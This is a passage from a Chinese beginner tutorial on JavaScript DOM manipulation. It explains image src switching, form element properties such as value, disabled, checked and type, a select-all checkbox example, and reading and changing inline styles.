  5. 第九行到第十六行:点击图片切换 src 属性的核心代码 这一段是整个示例的核心,我们把它拆成每一行,讲透每一个字符的逻辑,包括 if 判断、字符串方法、赋值操作,没有任何跳步。

    复制代码
    img.onclick = function () {
    if (img.src.lastIndexOf('rose.jpg') !== -1) {
    img.src = './rose2.png';
    } else {
    img.src = './rose.jpg';
    }
    }
    • 第一行:img.onclick = function () { ... }:给 img 元素注册点击事件,和我们之前讲的按钮点击事件逻辑完全一致。给 img 的 onclick 属性赋值一个匿名函数,当图片被点击时,浏览器会自动执行这个函数里的代码。
    • 第二行:if (img.src.lastIndexOf('rose.jpg') !== -1) { :这是 if 条件判断语句,我们把它拆成 3 个部分,每个部分都讲透:
      1. img.src :我们前面讲过,它的值是图片的完整绝对 URL 字符串,比如http://127.0.0.1:5500/rose.jpg。
      2. .lastIndexOf('rose.jpg') :这是 JS 里字符串对象自带的一个方法,我们把它的底层逻辑讲透:
        • lastIndexOf()方法的作用是:从字符串的末尾往前查找,看这个字符串里,有没有包含你传入的子字符串。
        • 如果找到了,就返回这个子字符串在原字符串里最后一次出现的位置索引 (索引从 0 开始);如果没找到,就固定返回-1。
        • 举个例子:字符串http://127.0.0.1:5500/rose.jpg,调用lastIndexOf('rose.jpg'),会找到rose.jpg在字符串里的起始位置,返回对应的索引数字,肯定不是 - 1;如果字符串是http://127.0.0.1:5500/rose2.png,调用lastIndexOf('rose.jpg'),找不到对应的子串,就会返回 - 1。
        • 新手疑问:为什么不用indexOf(),要用lastIndexOf()?其实在这个场景里,两个方法都可以,因为我们只需要判断 "有没有包含",不管它在什么位置。indexOf()是从前往后找,lastIndexOf()是从后往前找,只要找到了,都不会返回 - 1,没找到都返回 - 1。
      3. !== -1 :这是 JS 里的不全等运算符,用来判断左边的值,是不是不等于右边的 - 1。
        • 整个条件的完整逻辑:如果 img.src 里包含了 'rose.jpg',那么 lastIndexOf 返回的数字就不等于 - 1,条件成立,执行 if 大括号里的代码;如果不包含,lastIndexOf 返回 - 1,条件不成立,执行 else 大括号里的代码。
    • 第三行:img.src = './rose2.png'; :当 if 条件成立时,执行这一行代码。也就是当前图片是 rose.jpg 的时候,把 img 的 src 属性,改成./rose2.png。
      • 这里的./表示当前 HTML 文件所在的目录,也就是和 HTML 文件同级的 rose2.png 图片。
      • 当我们给 img.src 赋值新的路径时,浏览器会立刻做这几件事:1. 更新 img 元素对象的 src 属性;2. 同步更新 HTML 标签上的 src 属性;3. 立刻向服务器发起请求,加载新的图片文件;4. 加载完成后,重新渲染页面,把新的图片显示出来。
    • 第四行:} else {:else 分支,也就是 if 条件不成立的时候,执行这里的代码。也就是当前图片不是 rose.jpg(已经是 rose2.png 了)的时候,执行 else 里的代码。
    • 第五行:img.src = './rose.jpg';:else 分支里的代码,把 img 的 src 属性,改回 rose.jpg,浏览器会重新加载原来的图片,切换回去。
    • 第六行、第七行:}:闭合 else 分支和匿名函数。
2.2.1 新手必踩的属性操作坑 全解析
  1. 坑 1:路径判断错误,导致图片切换失效 很多新手会写if (img.src === 'rose.jpg'),然后发现条件永远不成立,图片切换不了。这是因为 img.src 返回的是完整的绝对 URL,不是你写的相对路径rose.jpg,所以绝对不可能相等,条件永远不成立。
    • 解决方案:就是我们示例里的写法,用indexOf()或者lastIndexOf(),判断 URL 里有没有包含对应的文件名,而不是直接全等判断。
  2. 坑 2:属性名大小写错误,导致读取不到值 HTML 的属性名是不区分大小写的,但是 JS 里的对象属性名是区分大小写的。很多新手会写img.Src、img.ALT,然后发现读取不到值,因为 JS 里只有img.src、img.alt,大小写错了,就会读取到 undefined。
    • 解决方案:JS 里的属性名,全部用小写,或者严格按照驼峰命名法,和 HTML 里的属性名保持一致。
  3. 坑 3:给布尔类型的属性赋值字符串,导致失效 有一些标准属性是布尔类型的,比如disabled、checked、selected,它们的值只有 true 和 false。很多新手会写img.disabled = 'true';,虽然有时候会生效,但这是不规范的,JS 会把非空字符串隐式转换成 true,如果你写img.disabled = 'false';,JS 会把非空字符串转换成 true,导致元素永远被禁用,和你的预期完全相反。
    • 解决方案:布尔类型的属性,永远赋值布尔值true或者false,不要赋值字符串。

第三章:获取 / 修改表单元素属性 超极致全解析(增量版)

之前的内容里,我们讲了表单属性的基础用法和三个示例,但没有对每一个表单属性的底层逻辑、每一行代码的执行细节、新手最容易踩的坑做极致解析,现在我们彻底补全,把表单属性的每一个细节都讲透。

3.1 表单元素的核心本质:为什么表单元素有这些特殊属性?

在讲具体的属性之前,我们先把表单元素的本质讲透,让你明白为什么 input、select 这些元素,会有 value、checked、disabled 这些特殊属性,而普通的 div、p 元素没有。

表单元素的核心作用,是收集用户输入的数据,提交给服务器。普通的 div、p 元素,只是用来展示内容的,不需要和用户做数据交互;而表单元素,是用来和用户做数据交互的,用户的所有输入、选择、操作,最终都会转换成一个 "数据值",提交给后端服务器。

所以,浏览器给表单元素设计了这些特殊的属性,本质上就是为了让我们能通过 JS,方便地读取和修改用户输入 / 选择的数据值,以及控制表单元素的交互状态。

所有的表单元素,都可以分成两类:

  1. 输入类元素 :比如<input type="text">、<input type="password">、<textarea>,用户可以在里面输入文本,它们的核心属性是value,用户输入的内容,都会存在 value 属性里。
  2. 选择类元素 :比如<input type="checkbox">(复选框)、<input type="radio">(单选框)、<select>(下拉框),用户是通过勾选、选择来操作的,它们的核心属性是checked(复选框 / 单选框)、selected(下拉框选项),用来表示用户有没有选中这个选项。

而disabled属性,是所有表单元素都支持的,用来控制元素能不能被用户操作;type属性,是 input 元素的核心,用来决定这个 input 到底是输入框、复选框、单选框还是按钮。


3.2 表单核心属性 逐个超详细解析

我们把每一个表单核心属性,从定义、底层逻辑、用法、注意事项,全部讲透,没有任何遗漏。

3.2.1 value 属性:表单数据的核心中的核心

value 属性是表单元素最重要的属性,没有之一,90% 的表单操作,都是在操作 value 属性。我们把它的所有细节讲透。

1. value 属性的底层定义

对于表单元素来说,value属性表示的是这个表单元素当前的 "数据值",也就是用户提交表单时,会发送给服务器的那个值。

不同类型的表单元素,value 属性的含义略有不同:

  • 文本输入框(type="text")、密码框(type="password")、文本域(textarea):value 属性的值,就是用户在输入框里输入的文本内容。用户在输入框里打字,本质上就是在实时修改这个元素的 value 属性;反过来,你用 JS 修改 value 属性,输入框里显示的内容,也会立刻同步更新。
  • 按钮(type="button"、type="submit"、type="reset"):value 属性的值,就是按钮上显示的文字。
  • 复选框 / 单选框 :value 属性的值,是这个选项提交给服务器的 "真实值",和用户看到的文字无关。比如你写了<input type="checkbox" value="apple">苹果,用户勾选了这个选项,提交给服务器的就是apple,而不是 "苹果" 这两个字。
  • 下拉框选项(option):value 属性的值,是这个选项提交给服务器的真实值,和 option 标签里的文本无关。
2. 最核心的铁则:value 属性的值,永远是字符串类型!

这是表单操作里,新手最容易踩、踩得最多的坑,没有之一。我们必须把这个铁则,用最大的字号、最详细的解析,刻在你的脑子里:无论你在 value 里写的是数字、布尔值,还是用户输入的是数字,你用 JS 读取到的 value 属性的值,永远是字符串(String)类型,绝对不会是数字(Number)类型,也不会是布尔类型!

我们举个最经典的例子:

复制代码
<input type="text" value="0" id="numInput">
<script>
var input = document.getElementById('numInput');
console.log(input.value); // 打印出来是 "0",不是 0
console.log(typeof input.value); // 打印 "string",绝对不是 "number"
</script>

哪怕你在 HTML 里写的 value 是0,哪怕用户在输入框里输入的是123,你读取到的,永远是带引号的字符串"0"、"123",而不是数字。

3. 为什么会这样?底层原因解析

这是因为 HTTP 协议在提交表单数据的时候,所有的数据都是以字符串的形式传输的,不管你输入的是数字还是文字,服务器收到的都是字符串。所以浏览器在设计 DOM 的时候,就把表单元素的 value 属性,统一设计成了字符串类型,和 HTTP 协议的传输格式保持一致。

4. 新手最经典的错误:直接用 value 做数学运算

很多新手会写这样的代码:

复制代码
<input type="text" value="0" id="numInput">
<button id="btn">+1</button>
<script>
var input = document.getElementById('numInput');
var btn = document.getElementById('btn');
btn.onclick = function () {
input.value = input.value + 1;
}
</script>

新手预期的效果是:点击按钮,输入框里的数字从 0 变成 1,再点变成 2。但实际运行的效果是:第一次点击变成01,第二次变成011,第三次变成0111,无限拼接字符串,和预期完全相反。

我们把底层执行逻辑讲透,你就明白为什么会这样:

  1. 读取input.value,得到的是字符串"0"。
  2. 执行"0" + 1,JS 里的+运算符,有两个作用:如果两边都是数字,就是数学加法;如果有一边是字符串,就是字符串拼接。
  3. 这里左边是字符串"0",右边是数字1,JS 会自动把数字1转换成字符串"1",然后做字符串拼接,得到"01"。
  4. 把"01"赋值给input.value,输入框里就显示01。

这就是为什么我们之前的计数器示例里,必须先把 value 转换成数字,再做加法,这是表单操作最基础、最核心的知识点,绝对不能忘。

5. 字符串转数字的 4 种方法 全解析

我们把之前提到的字符串转数字的方法,每一个都讲透,告诉你它们的区别和适用场景:

  1. + 字符串:正号转换法 就是我们示例里用的var num = +text.value;,在字符串前面加一个正号。
    • 原理:正号运算符会强制把后面的内容,转换成数字类型。
    • 优点:写法最简洁,代码最短。
    • 缺点:如果字符串里有非数字的内容,会返回 NaN(Not a Number,不是一个数字),比如+"123abc"会返回 NaN。
    • 适用场景:你确定字符串里只有数字,没有其他内容的时候。
  2. Number(字符串):标准转换法 写法是var num = Number(text.value);,用 JS 内置的 Number 构造函数来转换。
    • 原理:和正号转换法完全一致,底层逻辑是一样的,只是写法不同。
    • 优点:语义更清晰,别人一看就知道你是在把字符串转成数字。
    • 缺点:和正号转换法一样,非纯数字字符串会返回 NaN。
    • 适用场景:团队开发,需要代码语义更清晰的时候。
  3. parseInt(字符串):整数转换法 写法是var num = parseInt(text.value);,用来把字符串转换成整数。
    • 原理:从字符串的第一个字符开始,从左往右读取,直到遇到非数字的字符为止,把前面读取到的数字部分,转换成整数。
    • 特点:会自动忽略小数部分,只保留整数;如果第一个字符就不是数字,返回 NaN。
    • 例子:parseInt("123.45")返回 123;parseInt("123abc")返回 123;parseInt("abc123")返回 NaN。
    • 适用场景:你只需要整数,或者字符串里有数字加其他字符,只需要提取前面的整数部分的时候。
  4. parseFloat(字符串):浮点数转换法 写法是var num = parseFloat(text.value);,用来把字符串转换成浮点数(小数)。
    • 原理:和 parseInt 类似,从左往右读取,直到遇到非数字的字符为止,会保留小数点和小数部分。
    • 例子:parseFloat("123.45")返回 123.45;parseFloat("123.45abc")返回 123.45。
    • 适用场景:需要处理小数,比如价格、金额、身高体重等场景。
3.2.2 disabled 属性:控制表单元素的禁用状态
1. disabled 属性的底层定义

disabled 是一个布尔类型的属性,值只有true和false。当它的值为true时,表单元素会进入禁用状态:

  • 元素会变成灰色,视觉上告诉用户这个元素不能操作。
  • 用户无法点击这个元素,无法在输入框里输入内容,无法勾选复选框。
  • 这个元素的 value 值,不会在表单提交时,发送给服务器。
  • 元素不会触发任何鼠标、键盘事件。

当它的值为false时,元素处于正常的可用状态,用户可以正常操作。

2. 用法示例与解析

最经典的场景:"用户必须勾选同意用户协议,才能点击注册按钮"。

复制代码
<input type="checkbox" id="agree">我已阅读并同意用户协议
<br>
<button id="register" disabled>注册</button>
<script>
var agree = document.getElementById('agree');
var registerBtn = document.getElementById('register');

agree.onclick = function () {
// 当用户勾选复选框时,把注册按钮的disabled设为false,启用按钮
registerBtn.disabled = !this.checked;
}
</script>
  • 解析:HTML 里的 button 标签,我们直接加了disabled属性,让按钮初始是禁用状态。
  • 当用户勾选复选框时,this.checked是 true,!this.checked是 false,所以registerBtn.disabled = false,按钮变成可用状态。
  • 当用户取消勾选时,this.checked是 false,!this.checked是 true,按钮重新变成禁用状态。
  • 这是实际开发中非常常用的场景,比如表单验证、防止重复提交等,都会用到 disabled 属性。
3. 新手必踩的坑

很多新手会写registerBtn.disabled = 'disabled';,给 disabled 赋值字符串,虽然浏览器会把非空字符串转换成 true,让按钮禁用,但这是不规范的。如果你写registerBtn.disabled = 'false';,浏览器会把非空字符串转换成 true,按钮还是禁用的,和你的预期完全相反。

  • 解决方案:disabled 是布尔属性,永远赋值true或者false,不要赋值字符串。
3.2.3 checked 属性:复选框 / 单选框的选中状态
1. checked 属性的底层定义

checked 是专门给<input type="checkbox">(复选框)和<input type="radio">(单选框)设计的布尔类型属性,值只有true和false。

  • 当checked = true时,这个复选框 / 单选框是被勾选的状态。
  • 当checked = false时,是未被勾选的状态。

用户点击复选框 / 单选框,本质上就是在切换这个 checked 属性的值;反过来,你用 JS 修改 checked 属性的值,页面上的勾选状态也会立刻同步更新。

2. 核心注意事项
  • checked 属性的值,只和true/false有关,和你在 HTML 里写的checked="checked"、checked="true"无关。哪怕你在 HTML 里写checked="false",浏览器也会把这个复选框当成勾选状态,因为只要 HTML 标签里有 checked 属性,不管值是什么,初始状态都是勾选的。只有用 JS 修改 checked 属性的布尔值,才能精准控制它的状态。
  • 对于单选框(radio),同一组 name 相同的单选框,同一时间只能有一个的 checked 属性为 true,当你把其中一个设为 true 时,其他同组的会自动变成 false,这是浏览器的默认行为。
3.2.4 selected 属性:下拉框选项的选中状态

selected 是专门给下拉框<select>里的<option>标签设计的布尔属性,值只有true和false。

  • 当selected = true时,这个 option 是被选中的状态,会显示在下拉框的顶部。
  • 当selected = false时,是未被选中的状态。

用法和 checked 属性完全一致,你可以用 JS 读取 option 的 selected 属性,判断用户有没有选中这个选项,也可以修改它的值,动态切换下拉框的选中项。

3.2.5 type 属性:input 元素的类型

type 是<input>标签的核心属性,它决定了这个 input 元素到底是什么,是输入框、密码框、复选框、单选框、按钮,还是文件选择框。

HTML 里的 input 标签,有几十种 type 类型,常用的有:

  • text:单行文本输入框
  • password:密码输入框,输入的内容会显示成圆点
  • checkbox:复选框
  • radio:单选框
  • button:普通按钮
  • submit:表单提交按钮
  • reset:表单重置按钮
  • file:文件选择框
  • number:数字输入框,只能输入数字
  • date:日期选择框
  • email:邮箱输入框,会自动验证邮箱格式

你可以用 JS 读取 input 元素的 type 属性,知道它是什么类型的元素;也可以用 JS 修改 type 属性,动态切换 input 的类型,最经典的场景就是 "显示 / 隐藏密码":

复制代码
<input type="password" id="pwdInput" placeholder="请输入密码">
<button id="toggleBtn">显示密码</button>
<script>
var pwdInput = document.getElementById('pwdInput');
var toggleBtn = document.getElementById('toggleBtn');

toggleBtn.onclick = function () {
if (pwdInput.type === 'password') {
pwdInput.type = 'text';
this.innerText = '隐藏密码';
} else {
pwdInput.type = 'password';
this.innerText = '显示密码';
}
}
</script>
  • 解析:初始时,input 的 type 是 password,输入的内容是隐藏的。点击按钮,把 type 改成 text,密码就显示出来了,按钮文字变成 "隐藏密码";再点一下,改回 password,密码重新隐藏。
  • 这是现在所有网站的登录、注册页面,都会做的一个功能,核心就是修改 input 的 type 属性。

3.3 全选 / 取消全选案例 逐行极致解析

之前的内容里,我们给了全选案例的代码,但没有对 for 循环、checkGirls 函数的每一步执行逻辑做极致拆解,现在我们把这个案例的每一行代码、每一次循环、每一个判断,都讲得明明白白,没有任何跳步。

全选案例完整代码
复制代码
<input type="checkbox" id="all">我全都要 <br>
<input type="checkbox" class="girl">貂蝉 <br>
<input type="checkbox" class="girl">小乔 <br>
<input type="checkbox" class="girl">安琪拉 <br>
<input type="checkbox" class="girl">妲己 <br>
<script>
// 1. 获取到元素
var all = document.querySelector('#all');
var girls = document.querySelectorAll('.girl');
// 2. 给 all 注册点击事件, 选中/取消所有选项
all.onclick = function () {
for (var i = 0; i < girls.length; i++) {
girls[i].checked = all.checked;
}
}
// 3. 给 girl 注册点击事件
for (var i = 0; i < girls.length; i++) {
girls[i].onclick = function () {
// 检测当前是不是所有的 girl 都被选中了.
all.checked = checkGirls(girls);
}
}
// 4. 实现 checkGirls
function checkGirls(girls) {
for (var i = 0; i < girls.length; i++) {
if (!girls[i].checked) {
// 只要一个 girl 没被选中, 就认为结果是 false(找到了反例)
return false;
}
}
// 所有 girl 中都没找到反例, 结果就是全选中
return true;
}
</script>
逐行逐逻辑极致全解析
  1. HTML 部分解析

    • 第一行:<input type="checkbox" id="all">我全都要,这是全选复选框,我们给它加了 id="all",方便获取。
    • 第二行到第五行:四个普通复选框,我们给它们加了相同的 class="girl",这样我们可以用 querySelectorAll 一次性把它们全部获取到。
  2. JS 第一部分:获取元素

    复制代码
    var all = document.querySelector('#all');
    var girls = document.querySelectorAll('.girl');
    • 第一行:document.querySelector('#all'),用 id 选择器,获取全选复选框的元素对象,存到 all 变量里。注意 id 选择器前面要加 #,这是 CSS 选择器的语法。
    • 第二行:document.querySelectorAll('.girl'),这是我们第一次详细解析这个方法,我们把它讲透:
      • querySelectorAll是 document 对象的方法,作用是「通过 CSS 选择器,找到所有匹配的元素,返回一个 NodeList 伪数组」。
      • 括号里的.girl是 class 选择器,匹配所有 class 为 girl 的元素。
      • 什么是伪数组?伪数组,本质上是一个对象,它有和数组一样的length属性,也可以通过下标[0]、[1]来访问里面的元素,但是它没有数组的那些方法,比如 push、pop、forEach 等(ES6 之后可以用 Array.from 转换成真正的数组)。
      • 在这个案例里,我们有 4 个 class 为 girl 的复选框,所以 girls 变量里存的伪数组,长度是 4,girls[0]是貂蝉对应的复选框,girls[1]是小乔,girls[2]是安琪拉,girls[3]是妲己。
  3. JS 第二部分:全选框控制普通复选框的事件

    复制代码
    all.onclick = function () {
    for (var i = 0; i < girls.length; i++) {
    girls[i].checked = all.checked;
    }
    }

    这一段是全选功能的核心,我们把 for 循环的每一步执行都拆解出来,彻底讲透:

    • 第一行:给全选框 all 注册点击事件,当用户点击全选框时,执行函数里的代码。
    • 第二行 :for 循环,我们把 for 循环的三个部分讲透:
      • var i = 0:循环的初始条件,声明一个循环变量 i,初始值是 0。i 就是我们用来访问伪数组里元素的下标。
      • i < girls.length:循环的继续条件,只要这个条件成立,循环就会继续执行。girls.length 是 4,所以只要 i 小于 4,循环就继续。
      • i++:循环的递增条件,每一次循环结束后,i 的值加 1。
    • for 循环的完整执行步骤拆解(以 4 个复选框为例) :
      1. 第一次循环 :i=0,判断 0 < 4,条件成立,执行循环体里的代码。girls[0]是貂蝉的复选框,执行girls[0].checked = all.checked;,把貂蝉复选框的 checked 值,设置成和全选框的 checked 值完全一样。循环体执行完,i++,i 变成 1。
      2. 第二次循环 :i=1,判断 1 < 4,条件成立,执行循环体。girls[1]是小乔的复选框,把它的 checked 值设成和全选框一样。i++,i 变成 2。
      3. 第三次循环 :i=2,判断 2 < 4,条件成立,执行循环体。girls[2]是安琪拉的复选框,同步 checked 值。i++,i 变成 3。
      4. 第四次循环 :i=3,判断 3 < 4,条件成立,执行循环体。girls[3]是妲己的复选框,同步 checked 值。i++,i 变成 4。
      5. 循环结束:i=4,判断 4 < 4,条件不成立,循环终止。
    • 核心逻辑解析 :循环体里的girls[i].checked = all.checked;,这是一种 "赋值同步" 的思想,非常简洁高效。不管全选框是勾选还是取消,我们都不用做 if 判断,直接把全选框的 checked 值,赋值给每一个普通复选框的 checked 属性,让它们和全选框保持完全一致。
      • 当用户勾选全选框时,all.checked是 true,所有普通复选框的 checked 都被设成 true,全部勾选。
      • 当用户取消全选框时,all.checked是 false,所有普通复选框的 checked 都被设成 false,全部取消。
  4. JS 第三部分:普通复选框反向控制全选框的事件

    复制代码
    for (var i = 0; i < girls.length; i++) {
    girls[i].onclick = function () {
    all.checked = checkGirls(girls);
    }
    }

    这一段是反向联动的核心,我们讲透每一步逻辑:

    • 外层 for 循环 :和之前的 for 循环一样,遍历 girls 伪数组里的 4 个复选框,给每一个复选框,都注册一个点击事件。
      • 第一次循环,i=0,给girls[0](貂蝉)注册点击事件。
      • 第二次循环,i=1,给girls[1](小乔)注册点击事件。
      • 第三次循环,i=2,给girls[2](安琪拉)注册点击事件。
      • 第四次循环,i=3,给girls[3](妲己)注册点击事件。
    • 事件处理函数 :每一个普通复选框被点击时,都会执行这个函数里的代码。
      • 核心代码:all.checked = checkGirls(girls);。
      • 执行逻辑:调用我们写的 checkGirls 函数,把 girls 伪数组传进去,这个函数会返回一个布尔值:如果所有普通复选框都被选中了,返回 true;否则返回 false。然后把这个返回值,赋值给全选框的 checked 属性。
      • 也就是说:如果所有普通复选框都被选中了,全选框就自动勾选;如果有任何一个没被选中,全选框就自动取消勾选。
  5. JS 第四部分:checkGirls 辅助函数 极致解析

    复制代码
    function checkGirls(girls) {
    for (var i = 0; i < girls.length; i++) {
    if (!girls[i].checked) {
    return false;
    }
    }
    return true;
    }

    这个函数是整个反向联动的核心,也是新手最难理解的部分,我们把它的每一步执行逻辑、return 的作用,都彻底讲透。

    • 函数定义 :function checkGirls(girls) { ... },我们声明了一个叫 checkGirls 的函数,它接收一个参数 girls,也就是我们的复选框伪数组。
    • 函数的作用:检查传入的所有复选框,是不是全部都被选中了。如果全部选中,返回 true;只要有一个没选中,返回 false。
    • 核心逻辑:找反例法。我们要证明 "所有都选中",很难直接证明,但是要证明 "不是所有都选中",只要找到一个没选中的,就可以了。这是编程里非常经典的逻辑思想,我们把它拆解得明明白白。
    • 函数的完整执行步骤拆解,分两种场景:
    场景 1:有一个复选框没被选中(比如貂蝉没选中,其他都选中了)
    1. 函数执行,进入 for 循环,i 初始值 0。
    2. 第一次循环:i=0,girls[0]是貂蝉的复选框,它的 checked 是 false。
    3. 执行 if 判断:!girls[i].checked,也就是!false,结果是 true,if 条件成立,进入 if 大括号。
    4. 执行return false;:这里的 return,有两个核心作用:第一,把 false 这个值,作为函数的返回值,返回给调用它的地方;第二,立刻终止函数的执行,后面的所有代码都不会再执行了,for 循环也会立刻停止。
    5. 函数执行结束,返回 false。全选框的 checked 被设成 false,自动取消勾选。
    场景 2:所有复选框都被选中了
    1. 函数执行,进入 for 循环,i 初始值 0。
    2. 第一次循环:i=0,girls[0].checked是 true,!true是 false,if 条件不成立,不执行 return。循环体结束,i++,i 变成 1。
    3. 第二次循环:i=1,girls[1].checked是 true,if 条件不成立,i++,i 变成 2。
    4. 第三次循环:i=2,girls[2].checked是 true,if 条件不成立,i++,i 变成 3。
    5. 第四次循环:i=3,girls[3].checked是 true,if 条件不成立,i++,i 变成 4。
    6. for 循环结束:i=4,不满足 i < 4 的条件,循环正常终止,没有执行过 return false。
    7. 执行循环后面的return true;:函数返回 true,全选框的 checked 被设成 true,自动勾选。
  • 新手核心误区解析 :很多新手会问,为什么不在 for 循环里判断 "如果选中,就返回 true"?比如写:

    复制代码
    // 错误写法
    function checkGirls(girls) {
    for (var i = 0; i < girls.length; i++) {
    if (girls[i].checked) {
    return true;
    }
    }
    return false;
    }

    这种写法是完全错误的,我们讲透为什么:

    • 当 i=0 时,只要第一个复选框是选中的,就会立刻执行return true,函数结束,后面的复选框根本不会检查。哪怕后面三个都没选中,函数也会返回 true,全选框会被勾选,和我们的需求完全相反。
    • 这就是为什么我们要 "找反例":只有找到没选中的,才返回 false;只有循环完所有的,都没找到反例,才返回 true。

第四章:获取 / 修改样式属性 超极致全解析(增量版)

之前的内容里,我们讲了行内样式和类名样式的基础用法,但没有对 CSS 样式与 DOM 的映射关系、style 对象的本质、驼峰命名的底层原因、className 的底层逻辑,做极致解析,现在我们彻底补全,把样式操作的每一个细节都讲透。

4.1 样式操作的底层本质:CSSOM 与 DOM 的关联

在讲具体的样式操作之前,我们先把浏览器的样式渲染底层逻辑讲透,让你明白为什么我们可以用 JS 修改元素的样式。

和 HTML 会被解析成 DOM 树一样,浏览器加载 CSS 代码的时候,也会把 CSS 解析成一个树形结构的对象,叫做CSS 对象模型(CSS Object Model),简称 CSSOM。

DOM 树和 CSSOM 树是关联在一起的,浏览器渲染页面的时候,会把 DOM 树和 CSSOM 树结合起来,生成渲染树,然后把页面画在屏幕上。

我们用 JS 操作元素的样式,本质上就是修改 CSSOM 树里的样式规则,或者修改元素的行内样式属性,让浏览器重新生成渲染树,重新渲染页面。

我们之前讲的两种样式操作方式,本质上对应两种修改 CSSOM 的方式:

  1. 行内样式操作(element.style):直接修改元素的行内样式属性,行内样式的优先级是最高的,会覆盖其他 CSS 样式。
  2. 类名样式操作(element.className):修改元素的 class 属性,让元素应用不同的 CSS 类选择器对应的样式规则,修改的是 CSSOM 里的样式匹配关系。

4.2 行内样式操作:element.style 全维度极致解析

4.2.1 style 属性的底层本质:CSSStyleDeclaration 对象

我们之前说,element.style可以用来修改行内样式,现在我们把它的底层本质讲透:元素对象的 style 属性,它的值不是一个普通的对象,而是一个CSSStyleDeclaration类型的对象。这个对象是浏览器专门用来表示元素的行内样式的,里面包含了所有的 CSS 属性,作为这个对象的属性。

当你写div.style.fontSize = '20px';的时候,你其实是在给这个CSSStyleDeclaration对象的fontSize属性赋值,浏览器会立刻把这个赋值同步到元素的 HTML style 属性上,同时更新 CSSOM 树,重新渲染页面。

你可以用console.dir(div.style),在控制台里看到这个完整的CSSStyleDeclaration对象,里面有几百个 CSS 属性,所有的 CSS 属性,都在这个对象里有对应的属性。

4.2.2 驼峰命名法的底层原因:为什么 CSS 的短横线要转成驼峰?

这是新手最常问的问题,也是最容易写错的地方,我们把底层原因讲透。

在 CSS 里,属性名是用短横线分隔的,比如font-size、background-color、margin-top。但是在 JS 里,对象的属性名是不能包含短横线-的,因为 JS 会把短横线当成减法运算符。

举个例子:如果你写div.style.font-size = '20px';,JS 会把它解析成div.style.font - size = '20px';,也就是 "用 div.style.font 的值,减去 size 变量的值,然后把结果赋值给字符串 '20px'",这完全是语法错误,浏览器会直接报错。

所以,为了避开这个语法限制,浏览器在把 CSS 属性映射到CSSStyleDeclaration对象上的时候,做了一个转换规则:把 CSS 属性名里的短横线去掉,把短横线后面的第一个字母改成大写,也就是驼峰命名法。

转换规则我们再重复一遍,确保你记牢:

  • CSS: font-size → JS: fontSize
  • CSS: background-color → JS: backgroundColor
  • CSS: border-bottom-width → JS: borderBottomWidth
  • CSS: z-index → JS: zIndex
  • CSS: line-height → JS: lineHeight

唯一的例外 :CSS 里的float属性,因为float是 JS 里的保留字,所以不能直接用style.float,浏览器把它映射成了style.cssFloat。

4.2.3 逐行代码解析:点击放大字体案例

我们用之前的点击放大字体案例,做逐行逐字符的极致解析,讲透每一个细节。

案例代码
复制代码
<div style="font-size: 20px; font-weight: 700;">
哈哈
</div>
<script>
var div = document.querySelector('div');
div.onclick = function () {
var curFontSize = parseInt(this.style.fontSize);
curFontSize += 10;
this.style.fontSize = curFontSize + "px";
}
</script>
逐行逐字符全解析
  1. HTML 部分:<div style="font-size: 20px; font-weight: 700;">哈哈</div>
    • 我们给 div 元素,直接写了行内样式style="font-size: 20px; font-weight: 700;",设置了字体大小 20px,字体粗细 700(加粗)。
    • 这里的核心重点:我们必须把样式写在行内的 style 属性里,因为element.style只能读取和修改行内样式,不能读取 CSS 文件里或者 style 标签里的样式!这是新手最容易踩的坑,我们后面会详细讲。
  2. **JS 第一行:var div = document.querySelector('div');**获取页面上的 div 元素对象,存到 div 变量里。
  3. **JS 第二行:div.onclick = function () { ... }**给 div 注册点击事件,当用户点击 div 里的文字时,执行函数里的代码。
  4. JS 第三行:var curFontSize = parseInt(this.style.fontSize); 这一行是核心,我们拆成两个部分讲透:
    • this.style.fontSize :
      • this指向触发点击事件的 div 元素,和 div 变量是同一个对象。
      • this.style.fontSize读取 div 的行内样式里的 font-size 属性值,返回的是字符串"20px",不是数字 20。
      • 这里必须强调:只有行内样式里写了 font-size,这里才能读取到值。如果 font-size 是写在 style 标签里的 CSS 样式,这里读取到的会是空字符串"",parseInt 之后会得到 NaN,代码就会失效。
    • parseInt(this.style.fontSize) :
      • 我们之前讲过 parseInt 的作用,从字符串里提取数字部分,把"20px"转换成数字 20。
      • 把转换后的数字 20,存到 curFontSize 变量里。
  5. JS 第四行:curFontSize += 10;
    • +=是追加赋值运算符,等价于curFontSize = curFontSize + 10;。
    • curFontSize 当前的值是 20,加 10 之后,变成 30。
  6. JS 第五行:this.style.fontSize = curFontSize + "px";
    • 这一行是给样式赋值,我们讲透两个核心细节:
      1. 必须加单位 :CSS 里的 font-size 属性,除了 0 之外,必须带单位,否则样式不会生效。如果你写this.style.fontSize = 30;,不带 px,浏览器会忽略这个样式,字体大小不会变化。
      2. 字符串拼接 :curFontSize + "px",curFontSize 是数字 30,加上字符串"px",JS 会把数字 30 转换成字符串"30",然后拼接成"30px",赋值给this.style.fontSize。
    • 赋值之后,浏览器会立刻做这几件事:1. 更新 div 的 style 属性里的 font-size 值;2. 更新 CSSOM 树;3. 重新计算元素的样式和布局;4. 重新渲染页面,div 里的文字就会变大 10px。
  7. JS 第六行:}:闭合事件处理函数。
4.2.4 行内样式操作的核心限制:只能读取行内样式

这是行内样式操作最核心的限制,也是新手踩坑最多的地方,我们必须反复强调:element.style 只能读取和修改元素的行内样式,也就是写在 HTML 标签的 style 属性里的样式。它绝对不能读取写在<style>标签里、或者外部 CSS 文件里的样式!

举个例子:

复制代码
<style>
div {
font-size: 20px;
}
</style>
<div>哈哈</div>
<script>
var div = document.querySelector('div');
console.log(div.style.fontSize); // 打印空字符串 "",不是 "20px"
</script>

哪怕 CSS 里设置了 font-size: 20px,只要不是写在行内 style 属性里,div.style.fontSize就只能读取到空字符串,因为它根本访问不到 CSS 文件里的样式规则。

解决方案:读取元素的最终计算样式

如果你想读取元素最终渲染出来的样式,不管这个样式是写在哪里的,你需要用浏览器提供的window.getComputedStyle()方法。

  • 用法:window.getComputedStyle(元素对象).属性名

  • 示例:

    复制代码
    var div = document.querySelector('div');
    var finalStyle = window.getComputedStyle(div);
    console.log(finalStyle.fontSize); // 打印 "20px",不管样式写在哪里
  • 核心注意事项:window.getComputedStyle()返回的样式对象,是只读的 ,你不能修改它的属性值。你只能用它来读取样式,要修改样式,还是要用element.style或者修改 className。

4.2.5 行内样式操作的新手必踩坑
  1. 坑 1:忘记转驼峰命名,用了短横线,导致报错 很多新手会写div.style.font-size = '20px';,直接用 CSS 里的短横线属性名,导致 JS 语法报错。
    • 解决方案:严格按照驼峰命名法转换 CSS 属性名。
